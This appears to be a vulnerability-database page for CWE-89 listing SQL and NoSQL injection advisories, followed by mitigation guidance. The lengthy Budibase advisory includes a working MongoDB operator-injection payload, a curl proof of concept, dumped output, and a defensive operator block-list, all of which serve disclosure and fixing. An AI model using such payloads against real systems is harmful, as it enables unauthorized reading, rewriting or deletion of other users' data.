CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27671 vulnerabilities reference this CWE, most recent first.
GHSA-PMPG-2MXQ-6XWR
Vulnerability from github – Published: 2026-07-24 21:43 – Updated: 2026-07-24 21:43Summary
An end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like {"email": "{{ currentUser.email }}"} so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with noEscaping: true and then JSON.parsed, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through interpolateSQL(); the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe.
Details
Enrichment
packages/server/src/sdk/workspace/queries/queries.ts:105-125 enriches every string field of the query with handlebars, then parses the enriched json field:
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
// ...
enrichedQuery.json = JSON.parse(
enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody
)
noEscaping: true turns {{name}} into {{{name}}}, which Handlebars renders without HTML-escaping. Any " or } the attacker supplies lands verbatim in the enriched string. JSON.parse then produces a structured object whose top-level keys and operators came from the parameter value.
Execution
packages/server/src/integrations/mongodb.ts:499-512:
async read(query: MongoDBQuery) {
try {
await this.connect()
const db = this.client.db(this.config.db)
const collection = db.collection(query.extra.collection)
let json = this.createObjectIds(query.json)
switch (query.extra.actionType) {
case "find": {
if (json) {
return await collection.find(json).toArray()
}
createObjectIds walks the object and rewrites strings that look like ObjectId(...). It does not strip $-prefixed keys and does not reject operator-shaped values. The injected filter reaches collection.find unchanged.
For comparison, SQL datasources go through interpolateSQL at packages/server/src/threads/query.ts:145, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.
Duplicate-key trick
The template gives the attacker one substitution point inside the name value. The outer {"name": " / "} is fixed. The attacker's payload:
x", "name": {"$ne": "x"}, "$comment": "bud-033
Renders to:
{"name": "x", "name": {"$ne": "x"}, "$comment": "bud-033"}
JSON.parse keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's JSON.parse keep the last), so the parsed object is:
{ name: { $ne: "x" }, $comment: "bud-033" }
$comment is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing "} without restricting the query. The filter that reaches MongoDB is name != "x", which matches every document.
Proof of Concept
Tested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.
Step 1: Admin creates a MongoDB datasource and seeds three documents:
docker run -d --name mongo -p 27017:27017 mongo:6
docker exec mongo mongosh --quiet --eval '
db = db.getSiblingDB("testdb");
db.users.insertMany([
{name:"alice", email:"alice@x.com", secret:"public-alice"},
{name:"bob", email:"bob@x.com", secret:"PRIVATE-BOB"},
{name:"eve", email:"eve@x.com", secret:"PRIVATE-EVE"}
]);'
Step 2: Alice, a builder, configures the datasource and writes a MongoDB query find-by-name whose json field is {"name": "{{name}}"}. She publishes the app and grants Bob (BASIC) a role on it.
Step 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. POST /api/queries/:queryId is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):
curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \
-H "Content-Type: application/json" -H "x-budibase-app-id: $PROD_APP" \
-d '{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}'
Legitimate name=alice returned only Alice:
[{"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"}]
The injection payload returned all three documents:
[
{"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"},
{"_id":"...","name":"bob", "email":"bob@x.com", "secret":"PRIVATE-BOB"},
{"_id":"...","name":"eve", "email":"eve@x.com", "secret":"PRIVATE-EVE"}
]
MongoDB's profiling confirmed the filter that reached the server:
{"find":"users","filter":{"name":{"$ne":"never-matches"},"$comment":"bud-033"}}
Impact
The builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's.
Concrete scenario: builder publishes an app whose "My records" screen runs a MongoDB query with json = {"email": "{{ currentUser.email }}"}. Each app user is supposed to see only the rows where email matches their session. Bob, a BASIC user in that app, sends bob@x.com", "email": {"$ne": "x"}, "$comment": "x as the currentUser.email binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside.
The blast radius depends on what the builder exposed:
- Read queries: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets).
$whereoperator: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.$function/$accumulator(MongoDB 4.4+): arbitrary JS in aggregation stages.$lookup: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.update/deleteaction types: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.
The blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern ({{binding}} inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the $where / $lookup / write-action paths exist but depend on what primitives the builder exposed.
Recommended Fix
Strip $-prefixed keys from any object that originates from user-controlled parameters before it reaches collection.find/updateOne/deleteOne. A single guard in createObjectIds covers the read, update, and delete paths:
// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)
const DANGEROUS = new Set([
"$where", "$function", "$accumulator",
"$expr", "$regex", "$ne", "$nin", "$gt", "$gte", "$lt", "$lte",
"$or", "$and", "$nor", "$not", "$exists", "$type", "$mod",
"$text", "$comment",
])
function stripOperators(obj: any): any {
if (obj === null || typeof obj !== "object") return obj
if (Array.isArray(obj)) return obj.map(stripOperators)
const cleaned: Record<string, any> = {}
for (const [k, v] of Object.entries(obj)) {
if (DANGEROUS.has(k)) continue
cleaned[k] = stripOperators(v)
}
return cleaned
}
A safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:43:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAn end-user injection in Budibase\u0027s MongoDB datasource lets any BASIC app user bypass the builder\u0027s query-level access controls. Builders scope MongoDB reads per-user with bindings like `{\"email\": \"{{ currentUser.email }}\"}` so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with `noEscaping: true` and then `JSON.parse`d, Bob (a BASIC user) overrides the builder\u0027s filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through `interpolateSQL()`; the MongoDB path has no equivalent, so the scoping pattern Budibase\u0027s own docs show is unsafe.\n\n## Details\n\n### Enrichment\n\n`packages/server/src/sdk/workspace/queries/queries.ts:105-125` enriches every string field of the query with handlebars, then parses the enriched `json` field:\n\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n noEscaping: true,\n noHelpers: true,\n escapeNewlines: true,\n})\n// ...\nenrichedQuery.json = JSON.parse(\n enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody\n)\n```\n\n`noEscaping: true` turns `{{name}}` into `{{{name}}}`, which Handlebars renders without HTML-escaping. Any `\"` or `}` the attacker supplies lands verbatim in the enriched string. `JSON.parse` then produces a structured object whose top-level keys and operators came from the parameter value.\n\n### Execution\n\n`packages/server/src/integrations/mongodb.ts:499-512`:\n\n```typescript\nasync read(query: MongoDBQuery) {\n try {\n await this.connect()\n const db = this.client.db(this.config.db)\n const collection = db.collection(query.extra.collection)\n let json = this.createObjectIds(query.json)\n switch (query.extra.actionType) {\n case \"find\": {\n if (json) {\n return await collection.find(json).toArray()\n }\n```\n\n`createObjectIds` walks the object and rewrites strings that look like `ObjectId(...)`. It does not strip `$`-prefixed keys and does not reject operator-shaped values. The injected filter reaches `collection.find` unchanged.\n\nFor comparison, SQL datasources go through `interpolateSQL` at `packages/server/src/threads/query.ts:145`, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.\n\n### Duplicate-key trick\n\nThe template gives the attacker one substitution point inside the `name` value. The outer `{\"name\": \"` / `\"}` is fixed. The attacker\u0027s payload:\n\n```\nx\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\n```\n\nRenders to:\n\n```json\n{\"name\": \"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\"}\n```\n\n`JSON.parse` keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node\u0027s `JSON.parse` keep the last), so the parsed object is:\n\n```js\n{ name: { $ne: \"x\" }, $comment: \"bud-033\" }\n```\n\n`$comment` is a MongoDB meta operator that the server accepts and ignores, so it consumes the template\u0027s trailing `\"}` without restricting the query. The filter that reaches MongoDB is `name != \"x\"`, which matches every document.\n\n## Proof of Concept\n\nTested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.\n\nStep 1: Admin creates a MongoDB datasource and seeds three documents:\n\n```bash\ndocker run -d --name mongo -p 27017:27017 mongo:6\ndocker exec mongo mongosh --quiet --eval \u0027\n db = db.getSiblingDB(\"testdb\");\n db.users.insertMany([\n {name:\"alice\", email:\"alice@x.com\", secret:\"public-alice\"},\n {name:\"bob\", email:\"bob@x.com\", secret:\"PRIVATE-BOB\"},\n {name:\"eve\", email:\"eve@x.com\", secret:\"PRIVATE-EVE\"}\n ]);\u0027\n```\n\nStep 2: Alice, a builder, configures the datasource and writes a MongoDB query `find-by-name` whose `json` field is `{\"name\": \"{{name}}\"}`. She publishes the app and grants Bob (BASIC) a role on it.\n\nStep 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. `POST /api/queries/:queryId` is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):\n\n```bash\ncurl -sS -b \"$BOB_COOKIE\" -X POST \"$BASE/api/queries/$QUERY_ID\" \\\n -H \"Content-Type: application/json\" -H \"x-budibase-app-id: $PROD_APP\" \\\n -d \u0027{\"parameters\":{\"name\":\"x\\\", \\\"name\\\": {\\\"$ne\\\": \\\"x\\\"}, \\\"$comment\\\": \\\"bud-033\"}}\u0027\n```\n\nLegitimate `name=alice` returned only Alice:\n\n```json\n[{\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"}]\n```\n\nThe injection payload returned all three documents:\n\n```json\n[\n {\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"},\n {\"_id\":\"...\",\"name\":\"bob\", \"email\":\"bob@x.com\", \"secret\":\"PRIVATE-BOB\"},\n {\"_id\":\"...\",\"name\":\"eve\", \"email\":\"eve@x.com\", \"secret\":\"PRIVATE-EVE\"}\n]\n```\n\nMongoDB\u0027s profiling confirmed the filter that reached the server:\n\n```json\n{\"find\":\"users\",\"filter\":{\"name\":{\"$ne\":\"never-matches\"},\"$comment\":\"bud-033\"}}\n```\n\n## Impact\n\nThe builder\u0027s per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone\u0027s.\n\nConcrete scenario: builder publishes an app whose \"My records\" screen runs a MongoDB query with `json` = `{\"email\": \"{{ currentUser.email }}\"}`. Each app user is supposed to see only the rows where `email` matches their session. Bob, a BASIC user in that app, sends `bob@x.com\", \"email\": {\"$ne\": \"x\"}, \"$comment\": \"x` as the `currentUser.email` binding replacement and receives every row in the collection, including other tenants\u0027 users, admin records, and any secret fields the builder stored alongside.\n\nThe blast radius depends on what the builder exposed:\n\n- **Read queries**: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users\u0027 secrets).\n- **`$where` operator**: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.\n- **`$function` / `$accumulator`** (MongoDB 4.4+): arbitrary JS in aggregation stages.\n- **`$lookup`**: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.\n- **`update` / `delete` action types**: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.\n\nThe blast radius is the builder\u0027s own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer\u0027s external Mongo, so the attacker reads and writes data the builder\u0027s connection has access to and does not cross into Budibase\u0027s tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern (`{{binding}}` inside the JSON body) is the exact shape Budibase\u0027s documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the `$where` / `$lookup` / write-action paths exist but depend on what primitives the builder exposed.\n\n## Recommended Fix\n\nStrip `$`-prefixed keys from any object that originates from user-controlled parameters before it reaches `collection.find`/`updateOne`/`deleteOne`. A single guard in `createObjectIds` covers the read, update, and delete paths:\n\n```typescript\n// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)\nconst DANGEROUS = new Set([\n \"$where\", \"$function\", \"$accumulator\",\n \"$expr\", \"$regex\", \"$ne\", \"$nin\", \"$gt\", \"$gte\", \"$lt\", \"$lte\",\n \"$or\", \"$and\", \"$nor\", \"$not\", \"$exists\", \"$type\", \"$mod\",\n \"$text\", \"$comment\",\n])\n\nfunction stripOperators(obj: any): any {\n if (obj === null || typeof obj !== \"object\") return obj\n if (Array.isArray(obj)) return obj.map(stripOperators)\n const cleaned: Record\u003cstring, any\u003e = {}\n for (const [k, v] of Object.entries(obj)) {\n if (DANGEROUS.has(k)) continue\n cleaned[k] = stripOperators(v)\n }\n return cleaned\n}\n```\n\nA safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-pmpg-2mxq-6xwr",
"modified": "2026-07-24T21:43:34Z",
"published": "2026-07-24T21:43:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18907"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/dd8c0654b35cd89ce3645f2355f4bf2ff9a5dd80"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": " Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete"
}
GHSA-PMPM-RFMV-4QFW
Vulnerability from github – Published: 2024-03-28 09:31 – Updated: 2024-03-28 09:31Improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability in Alert.Enum webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to inject SQL commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2024-29232"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-28T07:16:05Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements used in an SQL command (\u0027SQL Injection\u0027) vulnerability in Alert.Enum webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to inject SQL commands via unspecified vectors.",
"id": "GHSA-pmpm-rfmv-4qfw",
"modified": "2024-03-28T09:31:13Z",
"published": "2024-03-28T09:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29232"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PMPV-R42H-C8XR
Vulnerability from github – Published: 2025-11-26 18:31 – Updated: 2025-12-03 18:30OpenCode Systems USSD Gateway OC Release: 5 Version 6.13.11 was discovered to contain a SQL injection vulnerability via the ID parameter in the getSubUsersByProvider function.
{
"affected": [],
"aliases": [
"CVE-2025-65235"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-26T17:15:46Z",
"severity": "CRITICAL"
},
"details": "OpenCode Systems USSD Gateway OC Release: 5 Version 6.13.11 was discovered to contain a SQL injection vulnerability via the ID parameter in the getSubUsersByProvider function.",
"id": "GHSA-pmpv-r42h-c8xr",
"modified": "2025-12-03T18:30:22Z",
"published": "2025-11-26T18:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65235"
},
{
"type": "WEB",
"url": "https://eslam3kl.gitbook.io"
},
{
"type": "WEB",
"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65235-ussd-gw-sql-injection-subusers"
},
{
"type": "WEB",
"url": "https://github.com/eslam3kl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PMRV-WV6G-9WFP
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54s-cms 3.0 allows SQL Injection via the member/post.php 0_id parameter or the POST data to member/member_login.php.
{
"affected": [],
"aliases": [
"CVE-2018-18427"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-17T04:29:00Z",
"severity": "CRITICAL"
},
"details": "s-cms 3.0 allows SQL Injection via the member/post.php 0_id parameter or the POST data to member/member_login.php.",
"id": "GHSA-pmrv-wv6g-9wfp",
"modified": "2022-05-14T01:54:15Z",
"published": "2022-05-14T01:54:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18427"
},
{
"type": "WEB",
"url": "https://www.s-cms.cn/update.html"
},
{
"type": "WEB",
"url": "http://www.ttk7.cn/post-92.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PMV2-3483-4JQW
Vulnerability from github – Published: 2024-08-30 21:31 – Updated: 2024-08-30 21:31A vulnerability classified as critical has been found in SourceCodester Computer Laboratory Management System 1.0. Affected is the function update_settings_info of the file /classes/SystemSettings.php?f=update_settings. The manipulation of the argument name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-8346"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-30T21:15:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in SourceCodester Computer Laboratory Management System 1.0. Affected is the function update_settings_info of the file /classes/SystemSettings.php?f=update_settings. The manipulation of the argument name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-pmv2-3483-4jqw",
"modified": "2024-08-30T21:31:40Z",
"published": "2024-08-30T21:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8346"
},
{
"type": "WEB",
"url": "https://github.com/gaorenyusi/gaorenyusi/blob/main/lms1.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.276228"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.276228"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.400343"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMW3-7P49-23V9
Vulnerability from github – Published: 2024-11-03 21:30 – Updated: 2024-11-03 21:30A vulnerability was found in code-projects Wazifa System 1.0 and classified as critical. This issue affects some unknown processing of the file /controllers/control.php. The manipulation of the argument to leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-10742"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-03T21:15:03Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in code-projects Wazifa System 1.0 and classified as critical. This issue affects some unknown processing of the file /controllers/control.php. The manipulation of the argument to leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-pmw3-7p49-23v9",
"modified": "2024-11-03T21:30:29Z",
"published": "2024-11-03T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10742"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://github.com/xiaokka/cve/blob/main/sql.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.282911"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.282911"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.436030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMXG-6CH5-59W6
Vulnerability from github – Published: 2024-01-16 18:31 – Updated: 2024-01-19 15:30Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_distributor.php?id=.
{
"affected": [],
"aliases": [
"CVE-2024-22627"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T18:15:11Z",
"severity": "HIGH"
},
"details": "Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_distributor.php?id=.",
"id": "GHSA-pmxg-6ch5-59w6",
"modified": "2024-01-19T15:30:19Z",
"published": "2024-01-16T18:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22627"
},
{
"type": "WEB",
"url": "https://github.com/GaoZzr/CVE_report/blob/main/Supply_Management_System/SQLi-3.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PP2P-5GHW-9CCC
Vulnerability from github – Published: 2023-02-10 21:30 – Updated: 2023-02-21 18:30Art Gallery Management System Project v1.0 was discovered to contain a SQL injection vulnerability via the cid parameter at product.php.
{
"affected": [],
"aliases": [
"CVE-2023-23162"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-10T20:15:00Z",
"severity": "CRITICAL"
},
"details": "Art Gallery Management System Project v1.0 was discovered to contain a SQL injection vulnerability via the cid parameter at product.php.",
"id": "GHSA-pp2p-5ghw-9ccc",
"modified": "2023-02-21T18:30:16Z",
"published": "2023-02-10T21:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23162"
},
{
"type": "WEB",
"url": "https://github.com/rahulpatwari/CVE/blob/main/CVE-2023-23162/CVE-2023-23162.txt"
},
{
"type": "WEB",
"url": "https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql"
},
{
"type": "WEB",
"url": "https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/171643/Art-Gallery-Management-System-Project-1.0-SQL-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PP2Q-6WMF-VMXP
Vulnerability from github – Published: 2022-07-20 00:00 – Updated: 2022-07-26 00:01Barangay Management System v1.0 was discovered to contain a SQL injection vulnerability via the hidden_id parameter at /officials/officials.php.
{
"affected": [],
"aliases": [
"CVE-2022-34023"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-19T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Barangay Management System v1.0 was discovered to contain a SQL injection vulnerability via the hidden_id parameter at /officials/officials.php.",
"id": "GHSA-pp2q-6wmf-vmxp",
"modified": "2022-07-26T00:01:15Z",
"published": "2022-07-20T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34023"
},
{
"type": "WEB",
"url": "https://www.github.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PP32-CP96-7RHV
Vulnerability from github – Published: 2025-11-17 21:31 – Updated: 2025-11-17 21:31A vulnerability was found in itsourcecode Web-Based Internet Laboratory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /subject/controller.php. The manipulation results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used.
{
"affected": [],
"aliases": [
"CVE-2025-13301"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-17T21:15:56Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in itsourcecode Web-Based Internet Laboratory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /subject/controller.php. The manipulation results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used.",
"id": "GHSA-pp32-cp96-7rhv",
"modified": "2025-11-17T21:31:25Z",
"published": "2025-11-17T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13301"
},
{
"type": "WEB",
"url": "https://github.com/f14g-orz/CVE/issues/7"
},
{
"type": "WEB",
"url": "https://itsourcecode.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.332641"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.332641"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.691793"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
